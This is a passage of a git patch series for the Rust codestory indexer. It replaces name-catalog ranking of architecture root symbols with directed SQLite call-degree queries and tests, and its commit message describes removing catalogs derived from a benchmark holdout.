IndexArtifactCacheReader, IndexArtifactCacheWrite, + IndexPublicationMode, IndexPublicationRecord, LlmSymbolDoc, LlmSymbolDocReuseMetadata, + LlmSymbolDocStats, ProjectionFlushBreakdown, ProjectionPersistenceFamilyStats, + ProjectionPersistenceStats, RetrievalIndexManifest, RetrievalIndexRollbackRecord, SOURCE_POLICY_EXCLUSION_PUBLICATION_SCHEMA_VERSION, STRUCTURAL_TEXT_UNIT_DESCRIPTOR_VERSION, STRUCTURAL_TEXT_UNIT_MIGRATION_STATE_NATIVE, STRUCTURAL_TEXT_UNIT_PUBLICATION_SCHEMA_VERSION, SearchSymbolProjection, SearchSymbolProjectionDetail, SourcePolicyExclusionManifest, diff --git a/crates/codestory-store/src/storage_impl/mod.rs b/crates/codestory-store/src/storage_impl/mod.rs index 32cd27ce9..633deb93b 100644 --- a/crates/codestory-store/src/storage_impl/mod.rs +++ b/crates/codestory-store/src/storage_impl/mod.rs @@ -44,6 +44,8 @@ const INCOMPLETE_INCREMENTAL_SCHEMA_VERSION: u32 = 0x4353_0001; /// Current SQLite schema version expected by `Store`. pub const CURRENT_SCHEMA_VERSION: u32 = SCHEMA_VERSION; const GROUNDING_SNAPSHOT_VERSION: i64 = 1; +/// Keep every call-degree IN-list well under SQLite's variable ceiling. +const GROUNDING_CALL_DEGREE_CHUNK: usize = 500; const GROUNDING_SNAPSHOT_STATE_DIRTY: i64 = 0; const GROUNDING_SNAPSHOT_STATE_BUILDING: i64 = 1; const GROUNDING_SNAPSHOT_STATE_READY: i64 = 2; @@ -2688,7 +2690,6 @@ impl FileRole { || marked.contains("/schema/typescript/") || marked.contains(".generated.") || file_name.ends_with(".g.cs") - || file_name.contains("payload-types") { return Self::Generated; } @@ -3113,6 +3114,20 @@ pub struct GroundingEdgeKindCount { pub count: u32, } +/// Directed CALL degrees for one node. +/// +/// Undirected edge digests cannot tell a call-graph root from a leaf that many +/// things call, so ranking needs the two directions apart. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct GroundingCallDegree { + pub node_id: NodeId, + /// Distinct non-speculative inbound CALL sources, excluding callers that + /// live in proven test or benchmark files. + pub production_in_calls: u32, + /// Distinct non-speculative outbound CALL targets. + pub out_calls: u32, +} + #[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] pub struct FileProjectionRemovalSummary { pub canonical_file_node_id: i64, @@ -10295,208 +10310,6 @@ impl Storage { Ok(nodes) } - /// Return a bounded set of root symbols whose serialized names match - /// caller-owned architecture patterns inside exact files. - /// - /// This complements the per-file structural window when a leaf-heavy - /// entrypoint file ranks its executable root below that window. The - /// runtime remains responsible for validating the name and file evidence. - pub fn get_grounding_named_root_symbols_for_files( - &self, - file_ids: &[i64], - normalized_exact_names: &[String], - uppercase_name_globs: &[String], - per_file_limit: usize, - ) -> Result, StorageError> { - if file_ids.is_empty() - || (normalized_exact_names.is_empty() && uppercase_name_globs.is_empty()) - || per_file_limit == 0 - { - return Ok(Vec::new()); - } - - let file_placeholders = question_placeholders(file_ids.len()); - let mut name_conditions = Vec::new(); - if !normalized_exact_names.is_empty() { - name_conditions.push(format!( - "LOWER(REPLACE(serialized_name, '_', '')) IN ({})", - question_placeholders(normalized_exact_names.len()) - )); - } - name_conditions.extend( - uppercase_name_globs - .iter() - .map(|_| "serialized_name GLOB ?".to_string()), - ); - let name_conditions = name_conditions.join(" OR "); - if self.has_ready_grounding_summary_snapshots()? { - let query = format!( - "WITH matched AS ( - SELECT - node_id, - kind, - serialized_name, - qualified_name, - canonical_id, - file_node_id, - start_line, - start_col, - end_line, - end_col, - display_name, - file_path, - ROW_NUMBER() OVER ( - PARTITION BY file_node_id - ORDER BY file_symbol_rank, node_id - ) AS named_rank - FROM grounding_node_snapshot - INDEXED BY idx_grounding_node_snapshot_file_rank - WHERE file_node_id IN ({file_placeholders}) - AND is_root = 1 - AND kind IN ({function_kind}, {method_kind}) - AND ({name_conditions}) - ) - SELECT - node_id, - kind, - serialized_name, - qualified_name, - canonical_id, - file_node_id, - start_line, - start_col, - end_line, - end_col, - display_name, - file_path - FROM matched - WHERE named_rank <= ?", - function_kind = NodeKind::FUNCTION as i32, - method_kind = NodeKind::METHOD as i32, - ); - let mut values = Vec::with_capacity( - file_ids - .len() - .saturating_add(normalized_exact_names.len()) - .saturating_add(uppercase_name_globs.len()) - .saturating_add(1), - ); - values.extend(file_ids.iter().map(|id| Value::Integer(*id))); - values.extend(normalized_exact_names.iter().cloned().map(Value::Text)); - values.extend(uppercase_name_globs.iter().cloned().map(Value::Text)); - values.push(Value::Integer(per_file_limit.min(i64::MAX as usize) as i64)); - let mut stmt = self.conn.prepare(&query)?; - let mut rows = stmt.query(params_from_iter(values))?; - let mut nodes = Vec::new(); - while let Some(row) = rows.next()? { - nodes.push(GroundingNodeRecord { - node: Self::node_from_row(row)?, - display_name: row.get(10)?, - file_path: row.get::<_, Option>(11)?.map(PathBuf::from), - }); - } - return Ok(nodes); - } - - let rank_sql = grounding_node_rank_sql("n"); - let indexable = grounding_indexable_predicate("n"); - let display_name = grounding_display_name_expr("n"); - let mut fallback_name_conditions = Vec::new(); - if !normalized_exact_names.is_empty() { - fallback_name_conditions.push(format!( - "LOWER(REPLACE(n.serialized_name, '_', '')) IN ({})", - question_placeholders(normalized_exact_names.len()) - )); - } - fallback_name_conditions.extend( - uppercase_name_globs - .iter() - .map(|_| "n.serialized_name GLOB ?".to_string()), - ); - let fallback_name_conditions = fallback_name_conditions.join(" OR "); - let query = format!( - "WITH matched AS ( - SELECT - n.id, - n.kind, - n.serialized_name, - n.qualified_name, - n.canonical_id, - n.file_node_id, - n.start_line, - n.start_col, - n.end_line, - n.end_col, - {display_name} AS display_name, - COALESCE(f.path, file_node.serialized_name) AS file_path, - ROW_NUMBER() OVER ( - PARTITION BY n.file_node_id - ORDER BY - {rank_sql}, - COALESCE(n.start_line, 2147483647), - {display_name}, - n.id - ) AS named_rank - FROM node n - LEFT JOIN file f ON f.id = n.file_node_id - LEFT JOIN node file_node - ON file_node.id = n.file_node_id - AND file_node.kind = {file_kind} - WHERE n.file_node_id IN ({file_placeholders}) - AND {indexable} - AND n.kind IN ({function_kind}, {method_kind}) - AND ({fallback_name_conditions}) - AND NOT EXISTS ( - SELECT 1 - FROM edge e - WHERE e.kind = {member_kind} - AND e.target_node_id = n.id - ) - ) - SELECT - id, - kind, - serialized_name, - qualified_name, - canonical_id, - file_node_id, - start_line, - start_col, - end_line, - end_col, - display_name, - file_path - FROM matched - WHERE named_rank <= ?", - file_kind = NodeKind::FILE as i32, - function_kind = NodeKind::FUNCTION as i32, - method_kind = NodeKind::METHOD as i32, - member_kind = EdgeKind::MEMBER as i32, - ); - let mut values = Vec::with_capacity( - file_ids - .len() - .saturating_add(normalized_exact_names.len()) - .saturating_add(uppercase_name_globs.len()) - .saturating_add(1), - ); - values.extend(file_ids.iter().map(|id| Value::Integer(*id))); - values.extend(normalized_exact_names.iter().cloned().map(Value::Text)); - values.extend(uppercase_name_globs.iter().cloned().map(Value::Text)); - values.push(Value::Integer(per_file_limit.min(i64::MAX as usize) as i64)); - let mut stmt = self.conn.prepare(&query)?; - let mut rows = stmt.query(params_from_iter(values))?; - let mut nodes = Vec::new(); - while let Some(row) = rows.next()? { - nodes.push(GroundingNodeRecord { - node: Self::node_from_row(row)?, - display_name: row.get(10)?, - file_path: row.get::<_, Option>(11)?.map(PathBuf::from), - }); - } - Ok(nodes) - } - pub fn get_grounding_root_symbol_candidates( &self, limit: usize, @@ -10804,6 +10617,99 @@ impl Storage { Ok(counts) } + /// Return directed CALL degrees for a bounded node set. + /// + /// Root ranking needs to tell a call-DAG root (nothing calls it, it calls + /// out) from a widely-called leaf, which the undirected edge digest cannot + /// express. Speculative resolutions are ignored the same way the detail + /// snapshot ignores them, so a guessed edge never manufactures evidence. + /// Nodes with no qualifying edges are absent; callers read absence as zero. + pub fn get_grounding_call_degrees( + &self, + node_ids: &[NodeId], + ) -> Result, StorageError> { + if node_ids.is_empty() { + return Ok(Vec::new()); + } + + let mut merged = HashMap::::new(); + for chunk in node_ids.chunks(GROUNDING_CALL_DEGREE_CHUNK) { + let ids = numbered_placeholders(1, chunk.len()); + // A NULL certainty with a NULL confidence is an unannotated edge, + // which the runtime already treats as non-speculative. + let certainty = format!( + "COALESCE( + e.certainty, + CASE + WHEN e.confidence IS NULL THEN 'certain' + WHEN e.confidence >= {certain_min} THEN 'certain' + WHEN e.confidence >= {probable_min} THEN 'probable' + ELSE 'uncertain' + END + )", + certain_min = ResolutionCertainty::CERTAIN_MIN, + probable_min = ResolutionCertainty::PROBABLE_MIN, + ); + let query = format!( + "WITH call_edge AS ( + SELECT + COALESCE(e.resolved_source_node_id, e.source_node_id) AS src, + COALESCE(e.resolved_target_node_id, e.target_node_id) AS tgt + FROM edge e + WHERE e.kind = {call_kind} + AND {certainty} = 'certain' + ), + inbound AS ( + SELECT call_edge.tgt AS node_id, COUNT(DISTINCT call_edge.src) AS degree + FROM call_edge + LEFT JOIN node caller ON caller.id = call_edge.src + LEFT JOIN file caller_file ON caller_file.id = caller.file_node_id + WHERE call_edge.tgt IN ({ids}) + AND call_edge.src != call_edge.tgt + AND COALESCE(caller_file.file_role, 'source') NOT IN ('test', 'benchmark') + GROUP BY call_edge.tgt + ), + outbound AS ( + SELECT call_edge.src AS node_id, COUNT(DISTINCT call_edge.tgt) AS degree + FROM call_edge + WHERE call_edge.src IN ({ids}) + AND call_edge.src != call_edge.tgt + GROUP BY call_edge.src + ), + combined AS ( + SELECT node_id, degree AS in_degree, 0 AS out_degree FROM inbound + UNION ALL + SELECT node_id, 0 AS in_degree, degree AS out_degree FROM outbound + ) + SELECT node_id, SUM(in_degree), SUM(out_degree) + FROM combined + GROUP BY node_id + ORDER BY node_id", + call_kind = EdgeKind::CALL as i32, + ); + let mut stmt = self.conn.prepare(&query)?; + let mut rows = stmt.query(params_from_iter(chunk.iter().map(|id| id.0)))?; + while let Some(row) = rows.next()? { + let node_id = NodeId(row.get(0)?); + let entry = merged.entry(node_id).or_insert(GroundingCallDegree { + node_id, + production_in_calls: 0, + out_calls: 0, + }); + entry.production_in_calls = entry + .production_in_calls + .saturating_add(clamp_i64_to_u32(row.get::<_, i64>(1)?)); + entry.out_calls = entry + .out_calls + .saturating_add(clamp_i64_to_u32(row.get::<_, i64>(2)?)); + } + } + + let mut degrees = merged.into_values().collect::>(); + degrees.sort_by_key(|degree| degree.node_id.0); + Ok(degrees) + } + pub fn get_file_by_path(&self, path: &Path) -> Result, StorageError> { let mut stmt = self.conn.prepare( "SELECT id, path, language, modification_time, indexed, complete, line_count, file_role FROM file WHERE path = ?1", @@ -11839,32 +11745,6 @@ mod grounding_snapshot_fast_path_tests { .map(|record| record.display_name) .collect::>(); assert_eq!(fallback, vec!["AppConfig"]); - let named_exact = [ - "runapp".to_string(), - "startapplication".to_string(), - "main".to_string(), - ]; - let uppercase_globs = [ - "Page".to_string(), - "Layout".to_string(), - "[A-Z]*Page".to_string(), - "[A-Z]*Layout".to_string(), - ]; - let mut named_fallback = storage - .get_grounding_named_root_symbols_for_files( - &[5, 10, 20, 30], - &named_exact, - &uppercase_globs, - 2, - )? - .into_iter() - .map(|record| record.display_name) - .collect::>(); - named_fallback.sort(); - assert_eq!( - named_fallback, - vec!["Page", "main", "run_app", "run_app", "start_application"] - ); storage.refresh_grounding_summary_snapshots()?; @@ -11874,18 +11754,6 @@ mod grounding_snapshot_fast_path_tests { .map(|record| record.display_name) .collect::>(); assert_eq!(snapshot, fallback); - let mut named_snapshot = storage - .get_grounding_named_root_symbols_for_files( - &[5, 10, 20, 30], - &named_exact, - &uppercase_globs, - 2, - )? - .into_iter() - .map(|record| record.display_name) - .collect::>(); - named_snapshot.sort(); - assert_eq!(named_snapshot, named_fallback); let base_plan = storage .conn @@ -11939,53 +11807,195 @@ mod grounding_snapshot_fast_path_tests { "architecture root window sorted outside the file-rank index: {file_plan:?}" ); - let named_plan = storage - .conn - .prepare( - "EXPLAIN QUERY PLAN - WITH matched AS ( - SELECT - node_id, - file_node_id, - ROW_NUMBER() OVER ( - PARTITION BY file_node_id - ORDER BY file_symbol_rank, node_id - ) AS named_rank - FROM grounding_node_snapshot - INDEXED BY idx_grounding_node_snapshot_file_rank - WHERE file_node_id IN (?1) - AND is_root = 1 - AND kind IN (?2, ?3) - AND LOWER(REPLACE(serialized_name, '_', '')) IN (?4) - ) - SELECT node_id - FROM matched - WHERE named_rank <= ?5", - )? - .query_map( - params![ - 10_i64, - NodeKind::FUNCTION as i32, - NodeKind::METHOD as i32, - "startapplication", - 8_i64 - ], - |row| row.get::<_, String>(3), - )? - .collect::>>()?; + Ok(()) + } + + fn call_edge(id: i64, source: i64, target: i64, confidence: Option) -> Edge { + Edge { + id: codestory_contracts::graph::EdgeId(id), + source: NodeId(source), + target: NodeId(target), + kind: EdgeKind::CALL, + confidence, + ..Default::default() + } + } + + fn call_degrees_by_node( + storage: &Storage, + node_ids: &[NodeId], + ) -> Result, StorageError> { + Ok(storage + .get_grounding_call_degrees(node_ids)? + .into_iter() + .map(|degree| { + ( + degree.node_id, + (degree.production_in_calls, degree.out_calls), + ) + }) + .collect()) + } + + #[test] + fn call_degrees_split_inbound_and_outbound_call_direction() -> Result<(), StorageError> { + let mut storage = Storage::new_in_memory()?; + insert_grounding_test_file( + &mut storage, + 10, + "src/main.rs", + &[ + (101, NodeKind::FUNCTION, "run", 1), + (102, NodeKind::FUNCTION, "load", 5), + (103, NodeKind::FUNCTION, "store", 9), + ], + )?; + storage.insert_edges_batch(&[ + call_edge(1, 101, 102, None), + call_edge(2, 101, 103, None), + call_edge(3, 102, 103, None), + ])?; + + let degrees = call_degrees_by_node(&storage, &[NodeId(101), NodeId(102), NodeId(103)])?; + assert_eq!(degrees.get(&NodeId(101)), Some(&(0, 2))); + assert_eq!(degrees.get(&NodeId(102)), Some(&(1, 1))); + assert_eq!(degrees.get(&NodeId(103)), Some(&(2, 0))); + Ok(()) + } + + #[test] + fn call_degrees_exclude_speculative_call_resolutions() -> Result<(), StorageError> { + let mut storage = Storage::new_in_memory()?; + insert_grounding_test_file( + &mut storage, + 10, + "src/main.rs", + &[ + (101, NodeKind::FUNCTION, "caller", 1), + (102, NodeKind::FUNCTION, "guessed", 5), + (103, NodeKind::FUNCTION, "certain", 9), + ], + )?; + storage.insert_edges_batch(&[ + call_edge(1, 101, 102, Some(0.4)), + call_edge(2, 101, 102, Some(0.6)), + call_edge(3, 101, 103, Some(0.95)), + ])?; + + let degrees = call_degrees_by_node(&storage, &[NodeId(101), NodeId(102), NodeId(103)])?; + assert_eq!(degrees.get(&NodeId(102)), None); + assert_eq!(degrees.get(&NodeId(103)), Some(&(1, 0))); + assert_eq!(degrees.get(&NodeId(101)), Some(&(0, 1))); + Ok(()) + } + + #[test] + fn call_degrees_exclude_test_and_benchmark_callers_from_inbound_counts() + -> Result<(), StorageError> { + let mut storage = Storage::new_in_memory()?; + insert_grounding_test_file( + &mut storage, + 10, + "src/main.rs", + &[(101, NodeKind::FUNCTION, "target", 1)], + )?; + insert_grounding_test_file( + &mut storage, + 20, + "tests/suite.rs", + &[(201, NodeKind::FUNCTION, "exercises_target", 1)], + )?; + insert_grounding_test_file( + &mut storage, + 30, + "benches/throughput.rs", + &[(301, NodeKind::FUNCTION, "measures_target", 1)], + )?; + insert_grounding_test_file( + &mut storage, + 40, + "src/service.rs", + &[(401, NodeKind::FUNCTION, "uses_target", 1)], + )?; + storage.insert_edges_batch(&[ + call_edge(1, 201, 101, None), + call_edge(2, 301, 101, None), + call_edge(3, 401, 101, None), + ])?; + + let degrees = call_degrees_by_node(&storage, &[NodeId(101)])?; + assert_eq!(degrees.get(&NodeId(101)), Some(&(1, 0))); + Ok(()) + } + + #[test] + fn call_degrees_count_distinct_endpoints_and_ignore_self_edges() -> Result<(), StorageError> { + let mut storage = Storage::new_in_memory()?; + insert_grounding_test_file( + &mut storage, + 10, + "src/main.rs", + &[ + (101, NodeKind::FUNCTION, "recursive", 1), + (102, NodeKind::FUNCTION, "helper", 5), + ], + )?; + storage.insert_edges_batch(&[ + call_edge(1, 101, 101, None), + call_edge(2, 101, 102, None), + call_edge(3, 101, 102, None), + call_edge(4, 101, 102, None), + ])?; + + let degrees = call_degrees_by_node(&storage, &[NodeId(101), NodeId(102)])?; + assert_eq!(degrees.get(&NodeId(101)), Some(&(0, 1))); + assert_eq!(degrees.get(&NodeId(102)), Some(&(1, 0))); + Ok(()) + } + + #[test] + fn call_degrees_return_rows_in_node_id_order_across_chunk_boundaries() + -> Result<(), StorageError> { + let mut storage = Storage::new_in_memory()?; + let count = GROUNDING_CALL_DEGREE_CHUNK as i64 + 20; + let symbols = (0..count) + .map(|offset| (1000 + offset, NodeKind::FUNCTION, "leaf", 1 + offset as u32)) + .collect::>(); + let symbol_refs = symbols + .iter() + .map(|(id, kind, name, line)| (*id, *kind, *name, *line)) + .collect::>(); + insert_grounding_test_file(&mut storage, 10, "src/main.rs", &symbol_refs)?; + storage.insert_nodes_batch(&[Node { + id: NodeId(900), + kind: NodeKind::FUNCTION, + serialized_name: "fan_out".to_string(), + file_node_id: Some(NodeId(10)), + start_line: Some(1), + ..Default::default() + }])?; + storage.insert_edges_batch( + &(0..count) + .map(|offset| call_edge(1 + offset, 900, 1000 + offset, None)) + .collect::>(), + )?; + + let node_ids = (0..count) + .map(|offset| NodeId(1000 + offset)) + .collect::>(); + let degrees = storage.get_grounding_call_degrees(&node_ids)?; + assert_eq!(degrees.len(), count as usize); assert!( - named_plan - .iter() - .any(|line| line.contains("idx_grounding_node_snapshot_file_rank")), - "named architecture root window lost the file-rank index: {named_plan:?}" + degrees + .windows(2) + .all(|pair| pair[0].node_id.0 < pair[1].node_id.0), + "call degrees left node id order across chunk boundaries" ); assert!( - named_plan + degrees .iter() - .all(|line| !line.contains("USE TEMP B-TREE")), - "named architecture root window sorted outside the file-rank index: {named_plan:?}" + .all(|degree| degree.production_in_calls == 1 && degree.out_calls == 0) ); - Ok(()) } From 34d9c73ab2b8f573edbe1c2f59861d9664caa280 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 02:31:29 -0500 Subject: [PATCH 005/132] rank grounding roots by role band, directed graph evidence, and structure The v0.16.1 installed-host replay found zero entry-point symbols in any root set, one strict map missing a major source area, and leaf aliases outranking visible entry points. The cause was the ranking inputs: root order came from a catalog of entry-point names and framework filenames collected from the benchmark holdout, and graph evidence never reached the comparator at all. Delete both catalogs. ARCHITECTURE_ROOT_EXACT_NAMES carried the literally banned "createapplication" and the HTTP verb route names; architecture_path_rank carried payload.config.ts, next.config.ts, app.svelte, page.tsx, layout.tsx and /src/collections/. Neither survives in renamed or decomposed form. Rank instead on verified file role as the band frame, directed CALL degrees to refine within the band, and path structure as a tie-breaker. A file-role Entrypoint file cannot by itself make every callable an entry point -- mod.rs and index.ts classify that way -- so entry evidence needs production topology or the single language literal `main`. Fix the candidate universe rather than raising any budget: stored root candidates are ordered by symbol kind first, which is why main() sits below every type in its file. Declared entry files and a per-subsystem file quota both enter the universe on structure alone. The universe is bounded lower than before because the named-root fetch is gone. Report GraphSignalThin and LexicalFallback, and hold confidence to an evidence-class invariant so a map can never claim Strong while reporting missing evidence. CompressedPresentation stays outside that invariant because it fires on every strict budget by construction. Co-Authored-By: Claude Opus 5 --- crates/codestory-contracts/src/api/dto.rs | 20 + crates/codestory-runtime/src/grounding.rs | 969 ++++++++++++---------- crates/codestory-runtime/src/lib.rs | 1 + crates/codestory-runtime/src/root_rank.rs | 543 ++++++++++++ 4 files changed, 1105 insertions(+), 428 deletions(-) create mode 100644 crates/codestory-runtime/src/root_rank.rs diff --git a/crates/codestory-contracts/src/api/dto.rs b/crates/codestory-contracts/src/api/dto.rs index c570d9562..7825da350 100644 --- a/crates/codestory-contracts/src/api/dto.rs +++ b/crates/codestory-contracts/src/api/dto.rs @@ -1412,6 +1412,26 @@ pub enum GroundingOrientationUncertaintyDto { EntrypointEvidenceOmitted, LimitedSubsystemBreadth, CompressedPresentation, + /// No candidate in the evaluated window carries any non-speculative CALL + /// degree. Ranking could not use graph evidence; do not read the resulting + /// order as a claim about parser or graph coverage. + GraphSignalThin, + /// Orientation ranking ran but produced no reordering: no entry-point + /// evidence and no graph signal, so the order is lexical and structural + /// only. + LexicalFallback, +} + +impl GroundingOrientationUncertaintyDto { + /// True when the variant reports missing or bounded *evidence* rather than + /// a presentation choice. + /// + /// `CompressedPresentation` fires on every strict-budget map by + /// construction, so folding it in here would pin every strict read to + /// `Partial` and destroy the signal. + pub fn is_evidence_class(self) -> bool { + !matches!(self, Self::CompressedPresentation) + } } #[derive(Debug, Clone, Default, Serialize, Deserialize, Type, PartialEq, Eq)] diff --git a/crates/codestory-runtime/src/grounding.rs b/crates/codestory-runtime/src/grounding.rs index e2bba553a..258b8d449 100644 --- a/crates/codestory-runtime/src/grounding.rs +++ b/crates/codestory-runtime/src/grounding.rs @@ -11,6 +11,11 @@ use super::{ retrieval_state_from_storage_for_runtime, terminal_symbol_segment, }; use crate::agent::packet_evidence::{decorate_search_hit_evidence, diagnostic_source_evidence}; +use crate::root_rank::{ + CallDegrees, DegreeTier, EntryEvidence, SUBSYSTEM_FILE_QUOTA, degree_tier, + diversify_root_order, entry_evidence, helper_like_name_or_path, is_production_file_role, + structural_depth, structural_path_rank, subsystem_key_for_path, +}; use crate::trail_story::build_trail_story; use codestory_contracts::api::{ PacketEvidenceResolutionDto, PacketEvidenceTierDto, SearchHitOrigin, @@ -26,43 +31,9 @@ const FUNCTION_BODY_FALLBACK_BRACE_SEARCH_LINES: usize = 40; const ROOT_CANDIDATE_MULTIPLIER: usize = 8; const ARCHITECTURE_ROOT_FILE_LIMIT: usize = 48; const ARCHITECTURE_ROOT_SYMBOL_SCAN_LIMIT: usize = 16; -const ARCHITECTURE_NAMED_ROOTS_PER_FILE: usize = 8; -const ARCHITECTURE_ROOT_EXACT_NAMES: &[&str] = &[ - "main", - "run", - "start", - "bootstrap", - "launch", - "mount", - "serve", - "init", - "initialize", - "createapp", - "createapplication", - "createserver", - "createrouter", - "createruntime", - "runapp", - "runapplication", - "runserver", - "runruntime", - "runservice", - "runcli", - "startapp", - "startapplication", - "startserver", - "startruntime", - "startservice", - "get", - "post", - "put", - "patch", - "delete", - "head", - "options", -]; -const ARCHITECTURE_ROOT_UPPERCASE_GLOBS: &[&str] = - &["Page", "Layout", "[A-Z]*Page", "[A-Z]*Layout"]; +/// Half of the candidate-file budget for declared entry files, half for the +/// per-subsystem quota, so neither supplement can starve the other. +const ARCHITECTURE_ROOT_FILE_HALF_LIMIT: usize = ARCHITECTURE_ROOT_FILE_LIMIT / 2; #[derive(Debug, Clone, Copy)] struct GroundingBudgetConfig { @@ -350,10 +321,6 @@ fn dedupe_grounding_node_records(nodes: Vec) -> Vec) -> bool { - matches!(role, Some(FileRole::Source | FileRole::Entrypoint)) -} - fn grounding_root_file_role_rank(role: Option) -> u8 { match role { Some(FileRole::Entrypoint) => 0, @@ -371,82 +338,56 @@ fn grounding_root_terminal_name(record: &GroundingNodeRecord) -> String { } } -fn grounding_root_path_rank(root: &Path, record: &GroundingNodeRecord) -> u8 { +fn grounding_root_relative_path(root: &Path, record: &GroundingNodeRecord) -> Option { record .file_path .as_deref() .map(|path| relative_path(root, path)) - .as_deref() - .map_or(3, |path| architecture_path_rank(Some(path))) } -fn grounding_root_subsystem_key( - root: &Path, +fn grounding_root_file_role( + record: &GroundingNodeRecord, + file_roles: &HashMap, +) -> Option { + record + .node + .file_node_id + .and_then(|file_id| file_roles.get(&file_id.0).copied()) +} + +fn grounding_root_language( record: &GroundingNodeRecord, file_languages: &HashMap, ) -> String { - let language = record + record .node .file_node_id .and_then(|file_id| file_languages.get(&file_id.0)) - .map(String::as_str) - .unwrap_or("unknown"); - let Some(path) = record.file_path.as_deref() else { - return format!("{language}:unknown"); - }; - let relative = relative_path(root, path).to_ascii_lowercase(); - let segments = relative - .split('/') - .filter(|segment| !segment.is_empty()) - .collect::>(); - - if let Some(index) = segments.iter().position(|segment| *segment == "crates") - && let Some(crate_name) = segments.get(index + 1) - { - return format!("{language}:crates/{crate_name}"); - } - if let Some(index) = segments.iter().position(|segment| *segment == "plugins") - && let Some(plugin_name) = segments.get(index + 1) - { - return format!("{language}:plugins/{plugin_name}"); - } - if segments.contains(&"src-tauri") { - return format!("{language}:src-tauri"); - } - if let Some(index) = segments.iter().rposition(|segment| *segment == "src") { - if let Some(next) = segments.get(index + 1) - && !next.contains('.') - { - return format!("{language}:{}", segments[..=index + 1].join("/")); - } - return format!("{language}:{}", segments[..=index].join("/")); - } - - let top = segments.first().copied().unwrap_or("root"); - format!("{language}:{top}") + .cloned() + .unwrap_or_else(|| "unknown".to_string()) } -fn build_grounding_edge_degree_map( - counts: Vec, -) -> HashMap { - let mut degrees = HashMap::new(); - for count in counts { - degrees - .entry(count.node_id) - .and_modify(|total: &mut u32| *total = total.saturating_add(count.count)) - .or_insert(count.count); - } - degrees +fn grounding_root_subsystem_key( + root: &Path, + record: &GroundingNodeRecord, + file_languages: &HashMap, +) -> String { + subsystem_key_for_path( + &grounding_root_language(record, file_languages), + grounding_root_relative_path(root, record).as_deref(), + ) } #[derive(Debug, Eq, Ord, PartialEq, PartialOrd)] struct GroundingRootSortKey { import_like: bool, - entrypoint: Reverse, + entry: Reverse, file_role_rank: u8, - path_rank: u8, - edge_degree: Reverse, + helper_like: bool, + reference_tier: Reverse, + reach_tier: Reverse, member_count: Reverse, + structural_path_rank: u8, node_rank: u8, start_line: u32, relative_path: Option, @@ -459,197 +400,159 @@ impl GroundingRootSortKey { record: &GroundingNodeRecord, root: &Path, file_roles: &HashMap, - edge_degrees: &HashMap, + degrees: &HashMap, member_counts: &HashMap, ) -> Self { - let role = record - .node - .file_node_id - .and_then(|file_id| file_roles.get(&file_id.0).copied()); + let role = grounding_root_file_role(record, file_roles); + let relative = grounding_root_relative_path(root, record); + let call_degrees = degrees.get(&record.node.id).copied().unwrap_or_default(); Self { import_like: is_import_like_symbol(&record.node), - entrypoint: Reverse(is_grounding_entrypoint_root(root, record, file_roles)), + // Role stays the band frame; directed graph evidence refines within + // the band; structure only breaks ties. + entry: Reverse(grounding_entry_evidence(record, file_roles, call_degrees)), file_role_rank: grounding_root_file_role_rank(role), - path_rank: grounding_root_path_rank(root, record), - edge_degree: Reverse(edge_degrees.get(&record.node.id).copied().unwrap_or(0)), + helper_like: helper_like_name_or_path(&record.display_name, relative.as_deref()), + reference_tier: Reverse(degree_tier(call_degrees.production_in_calls)), + reach_tier: Reverse(degree_tier(call_degrees.out_calls)), member_count: Reverse(member_counts.get(&record.node.id).copied().unwrap_or(0)), + structural_path_rank: structural_path_rank(role, relative.as_deref()), node_rank: node_rank(&record.node), start_line: record.node.start_line.unwrap_or(u32::MAX), - relative_path: record - .file_path - .as_deref() - .map(|path| relative_path(root, path)), + relative_path: relative, display_name: record.display_name.clone(), node_id: record.node.id.0, } } } -fn append_diversified_grounding_root_tier( - records: Vec, - root: &Path, - file_languages: &HashMap, - seen_surfaces: &mut HashSet, - seen_names: &mut HashSet, - diversified: &mut Vec, -) { - let mut repeated_surfaces = Vec::new(); - for record in records { - let surface = grounding_root_subsystem_key(root, &record, file_languages); - let name = grounding_root_terminal_name(&record); - if !seen_surfaces.contains(&surface) && !seen_names.contains(&name) { - seen_surfaces.insert(surface); - seen_names.insert(name); - diversified.push(record); - } else { - repeated_surfaces.push(record); - } - } - - let mut duplicate_names = Vec::new(); - for record in repeated_surfaces { - if seen_names.insert(grounding_root_terminal_name(&record)) { - diversified.push(record); - } else { - duplicate_names.push(record); - } - } - diversified.extend(duplicate_names); -} - fn diversify_grounding_root_records( mut records: Vec, root: &Path, file_roles: &HashMap, file_languages: &HashMap, - edge_degrees: &HashMap, + degrees: &HashMap, member_counts: &HashMap, ) -> Vec { records.sort_by_cached_key(|record| { - GroundingRootSortKey::new(record, root, file_roles, edge_degrees, member_counts) - }); - let (production, secondary): (Vec<_>, Vec<_>) = records.into_iter().partition(|record| { - is_production_file_role( - record - .node - .file_node_id - .and_then(|file_id| file_roles.get(&file_id.0).copied()), - ) + GroundingRootSortKey::new(record, root, file_roles, degrees, member_counts) }); + let (production, secondary): (Vec<_>, Vec<_>) = records + .into_iter() + .partition(|record| is_production_file_role(grounding_root_file_role(record, file_roles))); // Spend the compact budget on distinct production language/subsystem // surfaces, then distinct names, before compatibility-only candidates. // Every budget truncates this one stable order. - let mut seen_surfaces = HashSet::new(); - let mut seen_names = HashSet::new(); - let mut diversified = Vec::with_capacity(production.len() + secondary.len()); - append_diversified_grounding_root_tier( - production, - root, - file_languages, - &mut seen_surfaces, - &mut seen_names, - &mut diversified, - ); - append_diversified_grounding_root_tier( - secondary, - root, - file_languages, - &mut seen_surfaces, - &mut seen_names, - &mut diversified, - ); + let surface_key = |record: &GroundingNodeRecord| { + ( + grounding_root_subsystem_key(root, record, file_languages), + grounding_root_terminal_name(record), + ) + }; + let mut diversified = diversify_root_order(production, |_| false, surface_key); + diversified.extend(diversify_root_order(secondary, |_| false, surface_key)); diversified } -fn is_grounding_entrypoint_root( - root: &Path, +/// Entry-point evidence for one grounding root candidate. +/// +/// Every name catalog that used to live here is gone; the only surviving name +/// literal is the language contract `main`, and it lives in `root_rank`. +fn grounding_entry_evidence( record: &GroundingNodeRecord, file_roles: &HashMap, -) -> bool { - let role = record - .node - .file_node_id - .and_then(|file_id| file_roles.get(&file_id.0).copied()); - if is_import_like_symbol(&record.node) - || !is_production_file_role(role) - || !matches!( + degrees: CallDegrees, +) -> EntryEvidence { + entry_evidence( + matches!( record.node.kind, 